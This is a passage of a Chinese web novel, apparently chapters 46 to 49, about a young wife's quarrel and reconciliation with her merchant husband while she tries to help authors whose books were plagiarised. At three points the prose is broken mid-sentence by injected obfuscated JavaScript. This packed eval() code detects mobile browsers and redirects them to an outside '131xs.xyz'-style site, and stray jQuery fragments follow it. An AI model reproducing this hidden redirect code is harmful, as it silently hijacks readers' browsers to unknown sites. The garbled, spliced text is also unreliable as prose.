啊?青朵立定身形,瞠目结舌地盯着他,原来,原来真不是卿卿签下他们!她想到那日正己的问话,不禁冒了一身冷汗,错了错了,果然是她说错了,正己当时提醒自己,自己也没当回事,要不然,当着众人面更正一次也好啊! 她不安道:“我,我真不知道,那天我听你说,还以为是,是你做的……”走上前牵住曾正卿的衣袖,歉疚道:“明天我就到街上去,告诉他们,不是你做的,是别的掌柜,是我理解错了。” 曾正卿冷笑一声甩开她:“听听你的话!朝令夕改,反复无常,谁会信你?倒像是掩耳盗铃,欲盖弥彰!” 倒……也是……青朵脑袋一片空白,什么办法都想不出,她急道:“你有什么办法?让我做什么都行,我愿意弥补!” “不必了。”曾正卿背过身去冷冷道:“我只想做我的生意,不想卷入他们两家的争端中,此事便如此了结,不去回应自然会成为流言蜚语,烟消云散。” “往后你我,都不必插手此事!” 他说完抬脚欲走,却听青朵大声道:“不行!” “如果到底为止,那其他人怎么办?” 曾正卿转身疑道:“其他人?” “还有像露浓姐一样,被偷窃书稿的人!”青朵说着,将那日散场后,那女子向她求助的事告诉他,然后说道:“这事断不能如此了结,我已经答应要帮她讨回润笔费!” 怒火就像原上草,“青”风吹又生,曾正卿铁青着脸:“你还招了这等麻烦回家?” “什么叫麻烦?”青朵抗议道,“我这叫帮忙!” “哼,先是露浓,又是她,一个一个找上门来,你帮的过来吗?” 青朵一怔,她的确没想过人数的问题,可那又怎样? “一个有一个的帮法,一群有一群的帮法,只要是想做,总会有办法的!” “怎么帮?”曾正卿逼问道,“就凭你当街唱快板的方式?你能带给他们什么实质的帮助?” 青朵听出话中的嘲讽,愧疚渐去,心头火起,她指着曾正卿大声道:“你不要看不起我!这个办法不行,想新的办法就是了!大不了我画画赚钱,先给他们补偿,慢慢讨要!” “我可不像你,遇到点小麻烦,就缩头躲起来,只会冲着我大喊大叫!” 曾正卿顿时面若寒冰:“你认不清自己的错误,又一味固执己见,现在还血口喷人,唐青朵,收回你的恶语,向我道歉!” “不!”青朵憋憋嘴,梗着脖子叫道,“我没错!你不肯帮他们,就是软骨头,胆小鬼!” 他气不打一处来,斥道:“出嫁从夫,是为妻之本。你对我恶语相向,是为不敬;行为乖张,是为不顺,你哪有妻子的样子?” “你就有做人夫君的样子啦?”青朵反唇相讥,“我要的夫君,可是得跟我一条心,你?”她上下打量一番,冷笑道,“才不合格!” “你!” “你若怕事,就躲起来好了,本女侠答应别人,就是要帮到底,上刀山也好,下火海也罢,绝不会坐视不管!”青朵拍拍胸膛,冷笑道,“你放心,事是我一人做的,祸是我一人闯的,与你曾正卿无关!” “你说的倒是轻松!你我夫妻一体,有何分别!” “这样好了!你做的你的曾少爷,我还做回我的唐小姐,清清楚楚,明明白白,你就是你,我就是我,一人做事一人当,绝不连累你!” 曾正卿胸口剧烈起伏,瞪着梗着脖子倔驴般的妻子,喉头像是被什么堵住,再也吐不出半个字,怒火虽充斥胸膛,但还留着一丝理智,不能再说了,现在她连生分的话都脱口而出,再吵下去,不知道还要说出多少覆水难收的话语。 他猛地转过身,一言不发抬脚边走,甩门而出。 “咣!” “他,他还甩脸子给我看!”青朵气得团团转,恨不得找到个东西摔一摔解气,端起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894382|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茶壶,可这粉彩莲花形茶壶,她平时最喜欢,狠不下心遂又放下,眼睛一扫,执起砚台,心中踌躇,这可是端砚,贵得很!于是又放下。 这这这,这屋里就没什么既是曾正卿的东西,她又不喜欢又便宜,能叫她摔打出气吗? 余光瞥到一物,顿时有了主意,她冲上去拿起《女诫》,举得高高的,狠狠往地上一甩,犹自不解气,伸脚在上面跺了跺,咬牙切齿道:“怪不得要我读《女诫》!原来是看我不听话,拿来驯服我的!我偏不!偏不!” “在家的时候要听爹的,嫁人之后还得听丈夫的,我是给自己又找个活爹吗?可恶!可恶!” 她越想越愤恨,踩在上面碾了几下,凭什么只有《女诫》,没有《男诫》?这不公平! 踩着踩着,突然心中冒出一个念头:现在没有,你写一个,不就有了? 她停下动作,对啊!《女诫》中说“夫者,天也”,这等屁屁话,谁不会说?但她可不要像班昭似的,身为女子,不向着女人说话,乱抬高男人,她要说,就说香香话! 她扬起头来,仿佛看到写满香香话的《男诫》发表出去,马上受到世间女子追捧,转眼间,姑娘们扬眉吐气,昂首挺胸地走在路上,而男子低眉顺眼地跟在身后。 她们来到一间庙宇,这是什么地方?抬头一看,上面写着两个大字: “朵庙” 进去一瞧,自己的塑像金灿灿地端坐殿中,笑容可掬地接受女子们的供奉,香火缭绕,络绎不绝…… “哈哈!”青朵想到此处忍不住笑出声来,若自己真写成《男诫》,当真是一件功德无限的大好事! 事不宜迟,她扑到桌边坐下,执笔蘸墨,写下“男诫”和自己的大名,然后洋洋洒洒地写道: “妻者,天也!夫不可不尊,不可不顺也!” * 曾正卿后悔了。 就在第二日一早。 昨日听闻青朵的事,一时急火攻心,忍不住训斥她几句,没想到闹得不欢而散。想来夫人心性单纯,若是平心静气晓之以理,她也会通情达意。偏偏自己言词激烈,反而让她生起抗拒之心。 说到底还是自己的不是。只是事到如此,要他主动俯首帖耳,做低伏小,那成何体统? 曾正卿伸手揉太阳穴,只觉头疼。他常周旋人情,最是练达通透,可夫妻的相处之道,与之大不相同,更何况,他的夫人……乃是异于常人的奇女子。如何缓和僵局,又不失颜面,真是难上加难。 虽是心烦,也得先以店中为先,他暂且把这事搁在一旁。晚上归来下意识朝青朵处方向走,迈了几步又止住,犹豫一下回到书房,叫人唤芳晴来。 “少夫人今日……状态怎样?” “少夫人她……”芳晴一时为难。少夫人今日一如往常,要说不一样的地方,就是她想替少爷说几句好话,结果引来少夫人一顿气骂,连饭都多吃两碗,撑得发晕,早早睡下。 这叫她怎么回答?总不能说,“少夫人把你一顿好骂”吧? 她偷偷瞟了少爷一眼,见他目光紧紧盯着自己,心念一动,少夫人那边劝不动,可以从少爷这边着手,她心一横,快速回道:“少夫人伤心极了!” 47. 哄妻 青朵梦中舌战曾正卿三百回合,把他说得哑口无言,把自己说得口干舌燥,人还未完全从梦中醒转,已然呓语道:“芳晴,水,水。” 很快有人将她扶起来,水杯也递到唇边,她眼睛也不睁,就着杯子大口大口喝起来,这时有人温柔在耳边说:“慢点。” 男人? 哪来的男人? 不好,是采花大盗! 青朵骤然惊醒,睁开眼睛刚要喊叫,一口水吸进喉咙,咳嗽起来,她已经看清,说话的人是曾正卿,死死拽住他的衣袖瞪他,这人大半夜的不睡觉,跑到她床边来干什么!害得自己呛水! 曾正卿右臂被紧紧拽着,只能用左手轻轻拍打她的背部,青朵止了咳,质问道:“你怎么在这?” 他低声道:“我担心你,过来看看。” 要不是被他吓一跳,自己何至于呛水! 青朵没好气地说道:“我很好,不用你担心!回去睡你的觉去!”说完就要躺下,却被曾正卿拉起来。 “别碰我!”青朵嫌弃地甩开他的手,一骨碌躺下,背对着他。 曾正卿叹了一口气:“夫人,昨日是我不对。” 他这是在……道歉?青朵支棱起耳朵,只听他继续道:“我该收敛自己的情绪,实在不该冲你发火。” 青朵忍不住转过身子,曾正卿见青朵瞧着自己,不再像之前那样抵触,顿时精神一振,勇气大增,说道:“我仔细反省过了,你素来通情达理,若我好好劝你,断不会像昨日那般,闹得不欢而散。” 青朵坐起身来,听了他这几句,语气软下来,委委屈屈地瞥了他一眼,嗔怪道:“你昨天的样子可吓人了!吓得我浑身发抖,可你理也不理,还接着吼我,凶极了!”言罢,她嘴巴一撇,眼圈都红了。 曾正卿内疚万分,将青朵揽在怀中:“是我没有顾及你的感受,实在是不该。往后,我断不会再犯这种错。” 他抚摸怀中柔软的身躯,细语道:“你天性烂漫纯真,实在难能可贵,之前你经历的种种,我都无力回溯改变,但嫁给我之后,我便一心想守护你的这份赤诚心肠,不愿世俗之事惊扰了你,是以府内中馈琐事,铺子里的营生算计,都由我一人承担,你只要做你喜欢的事就好。” “如今露浓姑娘的事已经有了眉目,等她签了陈记,自然有人去解决。至于其他人,唉,即使是佛祖,也不见得能渡每一个人,何况我们凡人呢?便到此为止吧,专注于你的画作,好不好?” 青朵软软地倚靠在他怀中,听着他温言细语,即使在夜晚,也像有阳光笼在身上,暖融融的,舒服极了。而自己像是一颗珍珠,在太阳的照耀下闪闪发光。可那最后一句像是后羿的箭射落太阳,又像是倒春寒杀个回马枪,她的脸色沉下来,一把推开他。 曾正卿愕然,手还维持着拥抱的姿势。青朵板着脸说道:“原来重点在这!我还以为你真心向我道歉,实际上是要我别再帮他们讨公道。哼,差点儿被你的迷魂汤糊弄了!” 曾正卿急忙解释道:“这是两码事,道歉是真心的,劝告也是真心的,我对你何曾假情假意过!你不要误会!” 青朵明显半信半疑:“你的心在肚子里头,又看不着,你怎么证明真假?不管真的假的,但凡你对于讨公道的事还有异议,我们之间就免谈!你走吧!” 这话听着耳熟,曾正卿想起来了,是青朵去书房找他那日,他诱引她亲吻时故意说的话,没想到回旋镖转回来扎在自己身上。 不管他解释什么,青朵不再给他机会,她一溜烟地躺下,双手捂着耳朵,甚至拉起被子将自己裹在里面,完全不理他。 曾正卿长叹一声,只好离开房间。 * “哈哈哈哈哈哈!” 福源居的雅间传出一连串的笑声,路过的店小二一个手抖,盘中的烧鸡差点儿落了地,他赶忙扶稳,朝发声处望去,嘟囔了几句,要不是这两位爷慷慨,他定骂上几句不成! “你笑什么!”雅间内,曾正卿不悦道。 刘恪兀自笑得停不下来:“哈哈哈哈,我笑,我笑,你,你曾元柏也有今日!” “好好好,我此时,真正得了一位同盟!” 他擦了擦眼角笑出来的泪水:“要我说,当时你就该直接亲上去,叫她说不出话来!” “然后吃一嘴巴吗?”曾正卿挖苦道。 “这算什么!不过是夫妻之间的情趣!”刘恪不以为意,显然日常没少“吃”。他笑道:“你还是成亲时间短,见识少,这种小矛盾,我一天之内就能解决,就我上次跟你说分房的事,回去婉婉就叫我哄好,当天我就回房了!” “哦?不知仁兄用的是什么妙招?” “这……”刘恪顿时语塞,他瞄了一眼,看到曾正卿认真的眼神,霎时明白这位不是调侃,而是真心求教,于是笑嘻嘻道:“这可是我的终极招数,结合本尊哄妻集大成之法,你一个新手,做不得的!” 他眼睛一转,笑道:“不过,都是朋友,以前我落难,你也没少收留我,这样吧,这顿饭你请,我就教你几招。” “前番寻画铺一事,多蒙你费心相助,早该备下酒宴谢你才是。”曾正卿淡淡道。 刘恪暗中发笑,元柏这人明明想学,还死要面子,把请客推到其他由头上。他拾起杯子浅啜一口,清了清嗓子说道:“哄妻哄妻,‘哄’这个字,是要义所在。夫妻拌嘴,难免要争个是非曲直,‘哄’便是叫人暂时将对错搁在一边——是暂时忽略,可不是完全抛却!” “‘哄’是争取沟通契机,倘若夫人不愿与你搭话,你就是有千言万语,也是烂到肚子里,到头来独守空床,伤叹悲戚,呜呼哀哉!” “你虽初出茅庐,但有一处做得甚妙,你可知是何处?” “啊?”曾正卿紧皱眉头,一头雾水。 “就是你刚才讲的事,主动去道歉!”刘恪将杯子“啪”地一声放到桌上,“当丈夫就要有这项认知,千错万错,都是我的错,这不是低三下四,而是大丈夫的广阔胸襟!君子的心胸容得下天下,怎么就容不下妻子的指责?” “哎!这哪里有什么勉强?完全是出自于对她的敬、爱、怜、惜,不过是低头认个错,我们小小的一步,就能让夫人们眉梢舒展,重绽笑颜。这般划算至极的事,何乐而不为!”刘恪趾高气昂。 曾正卿攥拳遮口,一言不发,看着他的表演,目光满是疑虑,心中盘算离福源居最近的医馆在哪。 “当然,话说回来,女儿家的心思本就爱多想,我要是不赶快解决,婉婉保不齐就要琢磨出我有二心,一件错事,变成两桩罪过,这不是自讨苦吃!还不如快刀斩乱麻,一干二净!”刘恪叹道。 曾正卿见他正常起来,松了一口气,说道:“说了这么多,一个实际操作的办法也没有,唯一的一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15905263|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是我做过的。” “急什么!我这不得把来龙去脉都交代清楚嘛!你不仅得会用,还得知道为什么要这么做……” “我先回铺子了。”曾正卿作势要起身,刘恪连忙按住:“我说我说!” “怎么着也得叫你,在你生辰之前夫妻和睦嘛!”他继续道:“这个‘哄’无非也就是两个方面,‘说’和‘做’。” ……废话,人外在体现,除了“说”可不就是“做”!真是听君一席话,只是一席话!曾正卿无语暗道。 “这‘说’嘛,张口说话固然是一种办法,但含蓄更有深意,比如写个诗词歌赋,情意绵长。” “‘做’见效最快的,那就是送礼物了,试问哪个女子会不喜欢礼物呢?这个关键就在于,要‘投其所好’,比如我们家婉婉,就喜欢新衣裙……” 一谈起自己的“本领”,刘恪的话便如黄河之水滔滔不绝,尽情展示他爱妻本色。曾正卿默默听着他的法子,心里头纵使有万般忧虑,可他说的好像也有些道理,这事越拖,就怕青朵也要胡思乱想,毕竟平常小事,她就已经很有想象天赋了。 此事耽误不得,须得赶紧着手才是! 刘恪虽然不靠谱,但毕竟“身经百战”,应当早已经“熟能生巧”,自己终究是头一遭遇上夫妻矛盾,半点经验也无,思来想去,也唯有按照他的法子去做,想来他试验无数,应当是不会出大错的。 当晚,他在信笺上写了首小诗,以表自己“绵绵情意”,遣人送去,不多时芳晴提着食盒请见。 这难道是青朵亲手烹制的菜肴?曾正卿心中萌生一丝希望。 “少夫人读过信了?”他微笑问道。 “读了,”芳晴点头,继而打开食盒取出一盘馒头,为难道,“少夫人说,少爷如果反酸,多吃点馒头,少呕出什么酸诗扰她清闲。” 曾正卿:…… * 翌日,青朵从唐礼处回来,芳晴院子也不扫了,迎上来悄悄道:“少夫人,少爷刚送来些礼物,我放在桌上了,你快进去瞧瞧。” 青朵鄙夷道:“不会又是酸唧唧的诗吧?” “不是,”芳晴摇头道,“一箱子东西呢,听说很贵!” “哼,不管他怎么贿赂我,我也不会改变主意!”青朵边嘟囔,边走进去。 芳晴继续扫地,没扫几下,就听“哗啦啦”几声响,抬头望去,一匹匹绢从窗子被扔出来。她连忙将扫帚靠在墙上,急急赶进屋子。 “少夫人,这好歹是少爷的一番心意啊!”芳晴上前抢下青朵手中的绢,心疼道。 青朵跺脚咬牙切齿道:“这算什么心意!他分明是在嘲笑我!” “啊?”芳晴不解,只听青朵恨恨地说道: “之前吵架时我说,就算我画画卖钱,也要帮他们讨回那笔银子,可他今日送来这么多画画用的绢,明摆着就是讥讽我!那意思不就是‘你画啊,画啊,真要靠你的法子讨回银子,恐怕还需画这么多幅画才够!’这,这不就是嘲弄我吗?” 她俯下身子,一匹又一匹扔出去,嚷道:“我叫你取笑我!我叫你取笑我!” 芳晴长叹一口气,唉,少夫人这边是怎么都劝不动,一劝就生气,好不容易少爷下功夫去做,可眼下瞧着,越做越起反效果。 少爷怎么回事,怎么每次都能精准触到少夫人的霉头呢? 真邪门! 48. 生辰 “浓墨画发髻,淡墨点染衣裳,背景不易画得杂乱,方能给人空旷萧瑟之感。”唐礼在一旁指点,却见青朵“刷刷”几笔下去,“嘿!轻点!怎么苦大仇深的!你要画女子执扇,茫然若失,不是女子持刀,痛下杀手!” 青朵仔细一瞧,画上本该流露出忧伤的眼眸,却透露出凌厉,仿佛下一刻女子就要从袖中甩出暗器,“嗖嗖嗖”撂倒一片。 “好家伙,你平时没心没肺,我以为顶多就是难以体会‘哀怨’,但也不至于把它理解为‘冤仇’吧?”唐礼提起青朵的画,“啧啧”两声道,“好一幅‘曾夫人复仇图’!” “别叫我‘曾夫人’!我如今又是‘唐小姐’!”青朵撩下笔,没好气地说。 唐礼早就发现女儿女婿不对劲。几日前他不过问一句:“听说过几日就是元柏生辰,做长辈的总得出份心意,他平时有什么爱好?”青朵马上变了脸色:“不熟不知道不了解。” 现在,唐礼看着青朵的画摇了摇头:“这可不行,重画。不过你心不静,先出去跑上个十圈!” “啊???”青朵震惊,“爹爹!我可伤心着呢!你问都不问,还要继续伤我的心?” “你和元柏吵架关我什么事!我可断不清家务事!更何况,我不知道他,还不了解你?你能让自己委屈吗?哼,”他瞥了青朵一眼,“八成啊,还得人家元柏低声下气哄你呢!” 青朵被话噎住,她呆了呆才问道:“你,你怎么知道?” “你爹挑女婿的眼光,精着呢!”唐礼得意道。 切!明明曾正卿找来之前,他自己都忘了定亲的事!青朵不以为然地撇撇嘴,说道:“才不是呢!你挑的女婿,和你的亲女儿都不是一条心!” 于是青朵叽里呱啦将事情告诉他,说道:“他居然吼我,还有我帮助别人,那是行侠仗义,他偏要拦着,简直岂有此理!” “那你就不去了?”唐礼反问道。 青朵怔了一下:“那倒不会……” “那你生什么气?人家不是转头巴巴跟你认错了嘛!何况拦着你,也是怕你涉险,依我看呐,他对你,关心得很呢!” “可……”青朵听了爹的一席话,自己好像也动摇起来,她绞尽脑汁想曾正卿的不好,说道,“可他,可他和我想法不一样。” 唐礼忽然哈哈大笑,边笑便道:“你也有这一天!” “小时候我们让你往东,你偏往西,我和你娘也都苦恼得很。想来亲生的儿女,都不能完全与父母想法一致,你与元柏想法不同,也再正常不过了。每人都有自己的脾性,哪能强求完全一样呢!” “要是你逆着我一次,我就生一次气,我早就被你这丫头气死喽!” 青朵托腮默默不语。也许是两人成亲后,曾正卿一直都对她百依百顺的缘故,她甚至忽视了,他也会有他的想法。她习惯于坚持己见,却忘却他也有不能后退的执拗。 这一回,他没有顺她的意,她就怒气冲冲,甚至于他后来的讨好,也都理直气壮地无视。她责怪他的专横,可自己只看到自己的想法,何尝不是另一种霸道? 青朵又想起爹的话,偷偷地看了他一眼,心中有些愧疚,自己一路成长过来,不知爹娘做了多少退让。 唐礼忽然抬眸与她对上眼,青朵倏地转过身子,按动肩膀晃头,假装自己刚才是在舒活筋骨。 唐礼微微一笑,说道:“闲话少叙,你赶紧出去跑几圈,消消火气,等心情平静,再回来画画!” 自己确实需要透透气,放松一下,青朵站起身来,还未等出门,就听唐礼在后面补充道:“后面有家卖桂花鸡头米,清甜香糯,顺便带一份回来,不两份,还有你珠姨呢!” 青朵咕哝道:什么平复心情,说的好听!这才是真实目的吧? * 土坯墙上混杂着杂草,风一吹,就有尘土扑簌簌地掉落,随着风直往人脸上扑。 “呸!呸!”青朵迎面吃了两口土,她抬头望向屋顶的茅草,悄悄对身旁的露浓说:“露浓姐,这屋子和我原来的家一样破。” 话音刚落,有人急匆匆从屋里走出,青朵吓了一跳,马上心虚道:“嗯……但还,还蛮整洁的嘛!” 那女子见到青朵二人,先是有些失望,后脸上浮现惊喜:“唐姑娘,那事有结果了吗?” 此人正是上次青朵唱快板散场后,上前求助的女子。当时青朵让她留下住址,本打算与曾正卿谈后再与她联系,没想到回家与他起了争执。但她决定的事,无论如何也要做的,还好与露浓一拍即合,两人今日便寻来了。 “吴燕姐姐,这位是露浓姐姐,她也被赛林甫骗过,我们可以一起想办法。”青朵介绍道。 吴燕招呼她们进屋坐下。一共是两间屋子,吴燕请她们进了右侧的那一间。里面还算宽敞,毕竟没有什么家具。只有一个土炕,一张桌子,三个凳子,边角处放着一个掉了漆的木柜。柜门耷拉着,像是命悬一线,露出柜里灰扑扑,打着补丁的衣裳。 一个三四岁的男孩儿从床上坐起来,揉着眼睛,唤道:“娘!她们是谁呀?” “是帮咱们的人。”吴燕伸手摸摸他的额头,“还难受吗?” 男孩儿乖巧地摇头:“我好多了,你别担心我。” “他生病了吗?得了什么病?”露浓问道。 “唉,我也说不清楚。找了好几个郎中来看,都说是风寒,但是这风寒反反复复,就是不好。好不容易又请了一个,吃了药之后有些好转。只是那药方太贵了……”吴燕的说话声越来越低,她将孩子抱在怀中轻轻晃着。 露浓看到男孩仅穿着一身单衣,想来最近早晚天寒,破屋漏风,炕席单薄,一个得了风寒的孩子,又怎么受得住? 她与青朵对视了一眼,青朵马上掏出自己的荷包来,露浓也拿出自己的钱袋,两人的银钱混在一起,露浓上前交给吴燕: “我们就带了这些。你先去给孩子开些药,再买身厚衣裳,还有这被子,最好也换一换。” 吴艳慌乱道:“你们肯帮忙,我已经很感激。怎么能随便用你们的钱呢?” “哎呀!就算借给你的!等我们帮你把钱要回来,你再还我们就是了。收下吧!”青朵劝道。 吴燕闻言看了看孩子,又看了看露浓手中的钱,颇为意动。为难之际,她“扑通”一下跪了下去,冲着二人磕头:“谢谢恩人!谢谢恩人!我实在不知道怎么办才好,若不是走投无路,我也不愿意麻烦别人。” 青朵和露浓连忙扶起她。吴燕才将事情经过慢慢道来。 原来这本书不是她写的,而是她丈夫所著。他到守真堂卖书,赛林甫赞不绝口,说是要好好拜读,谁知之后就没了消息,后来等她丈夫发现书已出版,却写着别人的名字。他气不过,找上门去理论,赛林甫却说从未见过他,命人给他赶出去。闹了几次,也没有结果,他在一日回家的路上,挨了一顿打。 他本来就身体虚弱,很快卧床不起。家中重担全压在吴燕身上,幸得有她弟弟吴江搭手,才勉强支撑柱。可没过多久,丈夫就过世了。 “如果不是小光生了病,我断不想再提起此事。可我实在没办法,那日在街上听到唐姑娘说起这件事,我就动了心。我也不多要,只要能够孩子看病就行了。” “啪”!青朵猛地一拍桌子,怒道:“这个老混蛋!他竟然害人性命!”她转头看到露浓,心中一阵后怕,如果露浓姐没被救回来,会不会也……青朵打了一个寒颤。 没想到赛林甫如此心狠手辣,自己当时,还是太鲁莽了。 露浓见吴燕一边说话,一边忧心忡忡地往窗外看,问道:“吴姐姐在等什么?” 吴燕叹气道:“不瞒你们说,我弟弟咽不下这口气,今早去找抄袭的人,要钱去了。” 青朵和露浓吃了一惊,吴燕继续道,“那人以前我们也去找过,他见都不见我们。但毕竟他们富贵人家,我们惹不起,我真怕我弟弟冲动之下,做出什么糊涂事来。” “富贵人家?”青朵奇道。 “对,就是彩兰斋染布坊的小公子。” 露浓与青朵走出吴家,露浓沉吟道:“子翩家中是做印刷的,而这个抄袭的是彩兰斋的,都是大户人家的子女,这其中会不会有什么联系呢? “这好说,卿卿,不,曾正卿之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931789|167080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还找到几个被盗书的人,我们一问便知。” 两人边走边商量。忽然听到有一处传来痛苦的呻吟,还有人说道:“叫你还敢缠着我们公子,还敢不敢了?” 另一个声音断断续续说道:“你们,你们就该给钱!偷别人的书,不给钱,还打人,我,我要去告你……” 又是拳打脚踢的声音,“给你脸了是吧?还要上告,哼,我们公子和县太爷的公子,那是好朋友。你算个什么东西!” 青朵和露浓心中马上猜到挨打的是谁,青朵马上就要冲过去,被露浓一把拉住:“哎,我们打不过他的。还不如去多找些人帮忙!” “没事儿,我有办法。”这时候就不妨狐假虎威了,青朵道,“打狗还得看主人。我是曾家少夫人,我姐夫还是县尉,我看他们谁敢动我!” * “怎么样?和好了吗?”刘恪问道。 曾正卿看了他一眼:“她开始让下人称她为‘唐姑娘’了。” 刘恪顿时了然:“节哀。” 他拍拍曾正卿的肩膀,宽慰道:“没关系,生辰与兄弟们一起喝酒也是一样的。” 他本想叫三五好友热热闹闹为他庆生,曾正卿没有心情,便只二人同游,泛舟月下,二人对酌,正静着,邻船飘来女子缠缠绵绵的歌声: “争忍不相寻?怨孤衾。换我心,为你心,始知相忆深。” 眉峰不知何时起,却在此时深。 曾正卿先前还能陪饮几杯,勉强应对。望着杯中晃动的月影,他轻叹一声,将酒杯放下,纵使千金美酒,也没了滋味。 船工将船桨插入水中,“噗”的一声响,船桨来回搅动,水发出“哗哗”响声。压在心底的惆怅,也像湖水似的翻涌起来,让人心烦意闷。 那便不如归去。 回来的马车上,曾正卿闭眼小憩,手缓缓按住太阳穴解乏,心中却尤自盘算书铺的事,却不由自主冒出一个念头:满足她的心愿吧。 他蓦地停了手,睁开眼,心头闪过家人、店铺、家族……这都是他应该背负的责任,他默默地问自己:难道要为这一时,就把一直遵循的原则都抛却? 不求你让我们曾家扬眉吐气,你要保护你的母亲,保护你的弟弟,保护你的家人,护着他们平平安安…… 爹临终的话语又在耳边响起,他铭记于心。 不,我不能松口。 曾正卿进府没走几步,便听到有人叫他。 “大哥?”他停住脚步回头望去,曾正己走到他跟前诧异道,“你才回来?大嫂要为你庆生,一直在流霜亭等你呢!她……” 错愕瞬间转换为惊喜,后面的话曾正卿已听不清,也无暇去听,他步子迈得极快,每一步都比寻常要快,他穿过长廊,带起廊下的灯笼轻轻摇晃;他跨过月洞门,惊起竹叶簌簌。心中犹自觉得自己走得慢,催促着自己:快点,再快点。 夫人……阿照,在等他。 终于来到黄石假山下,他仰头望去,夜静更深,山沉沉地睡着,一切景致皆不明朗。唯有山上那座亭,透露出暖暖的黄晕,是驻在他心上的安宁。 曾正卿撩起衣袍,循石蹬而上,稳稳当当。风声,夜鸣,枝叶沙沙,混合千头万绪,汇成无边的海浪,在心头翻滚汹涌。重重的脚步声,也遮不住胸膛的“咚咚”。 “你怎么才回来!” 声音自上面响起,曾正卿抬头望去,青朵就站在顶端,暖黄的光为她镀上柔和的金边,她身着石榴红衣裙,盈盈俏立,一如记忆中的明媚,微风拂过,衣袂飘然,绰约翩跹。 曾正卿停下脚步,就这样与她遥遥相望。 最是凝眸无限意,似曾相识在前生。 青朵嗔怪道:“我肚子都叫好几轮啦!” 曾正卿定定地看着她,满肚子的话到了嘴边,只吐露一句:“你不生我的气了?” “今日不是你的生辰嘛!” 青朵一步步走下石阶,站在他面前。她的眼睛亮汪汪,如云淡月明,脱尘出俗, “我,我,我只是暂时不计较,”她不自然地撇过脸, “明天,我还要照常生气的!” 49. 和好 青朵听到曾正清清浅的笑声。蓦然转过脸,像是被踩了尾巴的猫,张牙舞爪道:“怎么,你不信?” “信!”曾正卿马上收起笑容,但眼中的笑意藏也藏不住。青朵虚张声势地瞪了他一眼,转身奔着流霜亭而去,曾正卿忙跟在身后。 到亭中,青朵提起食盒,从中取出几样菜肴,并着酒壶酒杯摆到桌上。她见曾正卿仍不过来,回头一瞧,他只是盯着自己笑,脸上一红,嗔道:“还不快过来,看什么看!” 曾正卿一面走过去,一面打趣道:“夫人今日晔若春华,光彩照人,不由得我不看。” “那是当然,我什么时候都光彩照人!”青朵心中又升起小小的得意,可是等曾正卿落座之后,她看看桌上的菜:几样糕点蜜饯是店里买来的,火熏肉、酥鱼是厨房里现成的,自己亲手做的寥寥无几,到如今,还已都凉透了。她心里那股得意劲儿又灭了火。 她嗫喏道:“我,我本来没想给你庆生的,等转了念头又来不及,只这炒蟹和绿豆百合汤是我做的……” “以后你每个生日,我都好好给你操办,就算生气,也不打折扣。我保证!”她举起右手发誓。 看着她脸上的真诚,曾正卿忍不住笑出声来,他揽袖为她斟酒,说道:“夫人何出此言?我也曾赴过无数宴席,琼浆玉酿,玉盘珍馐,论及心中滋味,都不不抵今日的十分之一。” “有你在身边,才是顶好的生辰宴。”他举起酒杯,凝视着她。 青朵嫣然一笑,再也板不住脸,怪道:“你去哪儿吃了许多蜜回来?嘴这么甜!” 她也端起酒杯,认真道:“卿卿,愿你岁岁平安,长乐无虞。”她想了想,飞快补上一句:“日进斗金!” 曾正卿不禁暗笑,三个祝福中,孰轻孰重,倒是很明显了。他打趣道:“为夫一定长命百岁,好让夫人此生安享荣华富贵。” 青朵满意地饮尽杯中酒,忙不迭地开吃,她左手拿着牛乳菱粉香糕,一大口咬下去还没落肚,右手已经忙着去夹火熏肉,一看就是饿狠了。曾正卿用湿帕净手,取蟹剥开,将蟹肉放到她碗中。 “你也吃,你也吃。”她含糊不清地让道,筷子却诚实地将蟹肉塞到自己嘴里。 曾正卿本来在游船上吃了东西,并不饿,可青朵狼吞虎咽的模样,就像开胃的山楂糕,他不由得跟着又落了几箸。 一顿饭风卷残云般吃完,青朵揉着肚子犹自遗憾道:“唉,炒蟹要是刚出锅的时候吃,可比冷了后鲜一百倍!” “可惜,可惜,今日这蟹,算是白死了!”她摇头叹道。 “怪我,是我回来迟了。明日我赔你一筐太湖大闸蟹。”曾正卿说道,面有愧色,“我还以为你生我的气,不会为我庆生,谁知夫人如此胸襟,还等着我。” “别说你没想到,我都没想到。”青朵直言道,“我今日才知道,你竟然一直叫人暗中保护我。” 他安排的护卫只会暗暗保护,除非青朵遇到危险,否则他是不会现身的。曾正卿直起身子急问:“你遇到危险了?” 